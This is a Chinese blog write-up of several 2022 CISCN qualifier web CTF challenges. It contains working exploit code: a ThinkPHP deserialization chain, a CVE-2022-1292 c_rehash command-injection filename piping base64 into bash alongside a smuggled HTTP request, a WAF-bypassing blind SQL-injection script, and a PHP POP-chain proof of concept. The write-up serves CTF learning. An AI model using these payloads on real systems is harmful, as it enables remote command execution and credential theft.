• [2022 CISCN]初赛 web题目复现


    ezpop

    源码泄露www.zip,用网上的链子直接打

    <?php
    
    namespace think\model\concern;
    
    trait Attribute
    {
        private $data = ["key" => ["key1" => "cat /flag.txt"]];
        private $withAttr = ["key"=>["key1"=>"system"]];
        protected $json = ["key"];
    }
    namespace think;
    
    abstract class Model
    {
        use model\concern\Attribute;
        private $lazySave;
        protected $withEvent;
        private $exists;
        private $force;
        protected $table;
        protected $jsonAssoc;
        function __construct($obj = '')
        {
            $this->lazySave = true;
            $this->withEvent = false;
            $this->exists = true;
            $this->force = true;
            $this->table = $obj;
            $this->jsonAssoc = true;
        }
    }
    
    namespace think\model;
    
    use think\Model;
    
    class Pivot extends Model
    {
    }
    $a = new Pivot();
    $b = new Pivot($a);
    
    echo urlencode(serialize($b));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43

    online_crt

    考点:

    CVE-2022-1292

    SSRF

    项目分析

    项目后端为python+go,其中python部署在外网,go通过python转发到内网

    先看python,一共有四个路由:

    • /为主界面

    • /getcrt生成一个x509证书

    • /createlink调用c_rehash创建证书链接

    • /proxy通过代理访问go内网服务

    image-20220702135500941

    再来看go,有一个admin路由,用以重命名证书文件

    image-20220702135633631

    解题

    题目的考点为CVE-2022-1292,是c_rehash的一个命令注入漏洞

    c_rehash是openssl中的一个用perl编写的脚本工具,用于批量创建证书等文件 hash命名的符号链接

    我们看到漏洞的commit:

    https://github.com/openssl/openssl/commit/7c33270707b568c524a8ef125fe611a8872cb5e8?diff=split

    image-20220702142413801

    这里没有过滤反引号就直接将文件名拼接到了命令中,那么我们在文件名中添加反引号即可执行任意命令

    向上追溯可以发现:

    image-20220702143311371

    在执行命令前函数会检查文件后缀名.(pem)|(crt)|(cer)|(crl) 和文件内容
    文件内容必须包含证书或者是吊销列表才能通过检查

    漏洞利用条件

    • 执行c_rehash的目标目录文件可控
    • 文件后缀符合要求
    • 文件内容必须包含证书或者吊销列表
    • 文件名可控

    题目中生成证书功能可以创建一个满足要求的文件,那么我们还需要对文件名进行修改

    看到内网go部分:

    为了实现可控的文件名,我们需要调用go的重命名功能,go的路由在重命名前有两个校验c.Request.URL.RawPath != "" && c.Request.Host == "admin"

    我们需要绕过这两个验证

    url注入http头

    Request.Host为请求的host头,在python中请求包中host头是固定的(test_host_api),这里我们需要想办法让go后端认为host值为admin

    python在代理请求时直接使用了socket发送raw数据包,在数据包{uri}处没有过滤,所以我们可以在uri注入一个host头来替换原本的头,注入之后数据包变成:

    GET / HTTP /1.1
    Host: admin
    User-Agent: Guest
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    
    HTTP /1.1
    Host: test_api_host
    User-Agent: Guest
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    这样就可以绕过host头检验

    go的RawPath特性

    对于Request.URL.RawPath检验,我们通过阅读go net库的源码,发现go语言中会对原始url进行解码(反转义),如果解码后再编码的url和原始url不同,那么RawPath会被设置为原始url,反之会被设置为空

    image-20220703234004573

    也就是说为了避免RawPath被置空,我们只需将url中任意一个/进行url编码即可

    整体流程

    • 访问 /getcrt 路由 生成一个证书 返回证书路径

      static/crt/62a5726a-352a-4538-b236-1972b59ccf1e.crt
      
      • 1

      image-20220703234732211

    • 请求 /proxy 修改证书名为恶意文件名

      这一步需要构造HTTP包注入多个HTTP连接来改HOST并且URL里面有个/要改成%2f绕过检查访问重命名接口

      利用CVE构造命令注入Payloadm,发包改名

      `echo "Y2F0IC9mbGFnID4gZmxhZw==" | base64 -d | bash`.crt
      
      • 1

      发包:

      GET /proxy HTTP/1.1
      Host: 1.14.71.254:28536
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
      Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
      Accept-Encoding: gzip, deflate
      Connection: close
      Upgrade-Insecure-Requests: 1
      Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5FhbXcy21j5NxtoY
      Content-Length: 478
      
      ------WebKitFormBoundary5FhbXcy21j5NxtoY
      Content-Disposition: form-data; name="uri"
      
      / HTTP/1.1
      Host: admin
      Connection: keep-alive
      
      GET /admin%2frename?oldname=62a5726a-352a-4538-b236-1972b59ccf1e.crt&newname=%60%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%49%44%34%67%5a%6d%78%68%5a%77%3d%3d%22%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%60%2e%63%72%74 HTTP/1.1
      Host: admin
      Connection: close
      
      GET /
      ------WebKitFormBoundary5FhbXcy21j5NxtoY--
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24

      image-20220703235322616

    • 访问createlink接口,触发命令注入,将flag写入static/crt/flag

      image-20220703235420028

    • 最后访问即可

    ezpentest

    SQL注入

    首先进入题目是一个登录框

    image-20220704001728428

    题目给出了waf:

    <?php
    function safe($a) {
        $r = preg_replace('/[\s,()#;*~\-]/','',$a);
        $r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
        return (string)$r;
      }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    这一部分内容和虎符杯类似,我们构造payload

    0'||case'1'when`password`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'
    
    • 1

    简单分析一下:

    • 利用like去正则匹配password这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error

    • +''是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是~0,也就是说这个payload其实就是~0+1

    • utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的

    • case用来解决优先级问题

    所以构造脚本:

    import requests
    import string
    payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"
    #这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出
    list = string.ascii_letters + string.digits + '^$!_%@&'
    
    proxies={
        'http':'http://127.0.0.1:8080'
    }	#这里是可以通过走代理来看下自己打进去的payload有没有啥问题。
    url = 'http://1.14.71.254:28706/login.php'
    j=''
    while 1:
        for i in list:
            if (i in '%_'):  #这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
                i = "\\" + i
            now_payload=payload.format(j+i)
            date={
            'password': now_payload,
            'username': 'aaa'
            }
            print(now_payload)
            re = requests.post(url,data=date)
    
            print(re.text)
            if  re.status_code==500:
    
                print("ok")
                j+=i
                print(j)
                break
    
    # 最后得到的账号密码
    # nssctfwabbybaboo!@$%!!
    # PAssw40d_Y0u3_Never_Konwn!@!!
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34

    解混淆

    登陆后发现混淆代码,提示有一个1Nd3x_Y0u_N3v3R_Kn0W.php

    image-20220704120233347

    直接访问得到SomeClass.php的内容

    <?php
    class A
    {
        public $a;
        public $b;
        public function see()
        {
            $b = $this->b;
            $checker = new ReflectionClass(get_class($b));
            if(basename($checker->getFileName()) != 'SomeClass.php'){
                if(isset($b->a)&&isset($b->b)){
                    ($b->a)($b->b."");
                }
            }
        }
    }
    class B
    {
        public $a;
        public $b;
        public function __toString()
        {
            $this->a->see();
            return "1";
        }
    }
    class C
    {
        public $a;
        public $b;
        public function __toString()
        {
            $this->a->read();
            return "lock lock read!";
        }
    }
    class D
    {
        public $a;
        public $b;
        public function read()
        {
            $this->b->learn();
        }
    }
    class E
    {
        public $a;
        public $b;
        public function __invoke()
        {
            $this->a = $this->b." Powered by PHP";
        }
        public function __destruct(){
            //eval($this->a); ??? 吓得我赶紧把后门注释了
            //echo "???";
            die($this->a);
        }
    }
    class F
    {
        public $a;
        public $b;
        public function __call($t1,$t2)
        {
            $s1 = $this->b;
            $s1();
        }
    }
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    而主页面本身是一段混淆之后的代码,查看源码发现是由phpjiami进行混淆的

    https://github.com/wenshui2008/phpjiami_decode
    
    • 1

    由于phpjiami解密相对比较苛刻,少一个字符都会解密失败,可以采用脚本把混淆代码保存下来再解密

    <?php
    $url ="http://1.14.71.254:28706/login.php";
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt ($ch, CURLOPT_COOKIE, "PHPSESSID=00110b2656dbd4b5dd347f793e516da1");
    $result = curl_exec($ch);
    curl_close($ch);
    echo urlencode($result);
    file_put_contents("pop.php",$result);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    解密之后的文件为:

    <?php
    session_start();
    if(!isset($_SESSION['login'])){
        die();
    }
    function Al($classname){
        include $classname.".php";
    }
    
    if(isset($_REQUEST['a'])){
        $c = $_REQUEST['a'];
        $o = unserialize($c);
        if($o === false) {
            die("Error Format");
        }else{
            spl_autoload_register('Al');
            $o = unserialize($c);
            $raw = serialize($o);
            if(preg_match("/Some/i",$raw)){
                throw new Error("Error");
            }
            $o = unserialize($raw);
            var_dump($o);
        }
    }else {
        echo file_get_contents("SomeClass.php");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27

    POP链构造

    入口点在class E,die方法中是字符串处理,让a为对象会触发__toString方法

    image-20220704121614771

    接下来触发顺序为

    B::__toString->a::see
    
    • 1

    image-20220704122417729

    在类A中,我们只需要令b为原生类,a参数和b参数都是可控的就可以rce了

    链子的触发点就是1Nd3x_Y0u_N3v3R_Kn0W.php文件,但是如果我们想把可以rce的文件包含进来,就要创建一个SomeClass类,而这里对some进行了过滤。

    我们只需要让include $classname.".php"将文件包含的同时直接进入那个destrust方法销毁,这里可以利用gc回收机制。我们将数组索引置为0,这样就会失去上一个对象的引用从而进入destrust。

    还有一种方法可以提前进入destrust,利用fastdestrust,传一个损坏的序列化数据,比如O:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;,把后面 }的符号去掉就行,但是这里有对序列化数据格式正确与否进行校验所以无法使用。

    POC:

    <?php
    
    class A
    {
        public $a;
        public $b;
        public function see()
        {
            $b = $this->b;
            $checker = new ReflectionClass(get_class($b));
            if(basename($checker->getFileName()) != 'SomeClass.php'){
                if(isset($b->a)&&isset($b->b)){
                    ($b->a)($b->b."");
                }
            }
        }
    }
    class B
    {
        public $a;
        public $b;
        public function __toString()
        {
            $this->a->see();
            return "1";
        }
    }
    class C
    {
        public $a;
        public $b;
        public function __toString()
        {
            $this->a->read();
            return "lock lock read!";
        }
    }
    class D
    {
        public $a;
        public $b;
        public function read()
        {
            $this->b->learn();
        }
    }
    class E
    {
        public $a;
        public $b;
        public function __invoke()
        {
            $this->a = $this->b." Powered by PHP";
        }
        public function __destruct(){
            die($this->a);
        }
    }
    class F
    {
        public $a;
        public $b;
        public function __call($t1,$t2)
        {
            $s1 = $this->b;
            $s1();
        }
    }
    
    class SomeClass{
        public $a;
    }
    
    $e = new E();
    $a = new A();
    $b = new B();
    
    $e->a = $b;
    $b->a = $a;
    $arr = new ArrayObject();//换其他原生类都行error啥的都可以
    $arr->a = "system";
    $arr->b = "cat /nssctfflag";
    $a->b = $arr;
    $c = new SomeClass();
    $c->a = $e;
    echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86

    得到flag:

    image-20220704133253136

    cmdbrowser

    暂无复现途径

    参考:

    https://mp.weixin.qq.com/s/vTF9ArXKp4RCFQPl6mOGkA

    https://rce.moe/archives/

  • 相关阅读:
    消息队列,推拉模式的区别在哪?
    修改静态IP和配置主机名
    DP/typec转VGA(国产化,工业级)
    万界星空科技/生产制造执行MES系统/开源MES/免费MES
    C++数组相关知识
    神经网络可以预测数据吗,如何用神经网络做预测
    Spring高手之路15——掌握Spring事件监听器的内部逻辑与实现
    Women of Polkadot:波卡生态的女性社群与创新力量
    国产化精密划片机已得到国内更多厂家青睐
    mapreduce的流程
  • 原文地址:https://blog.csdn.net/cosmoslin/article/details/125598409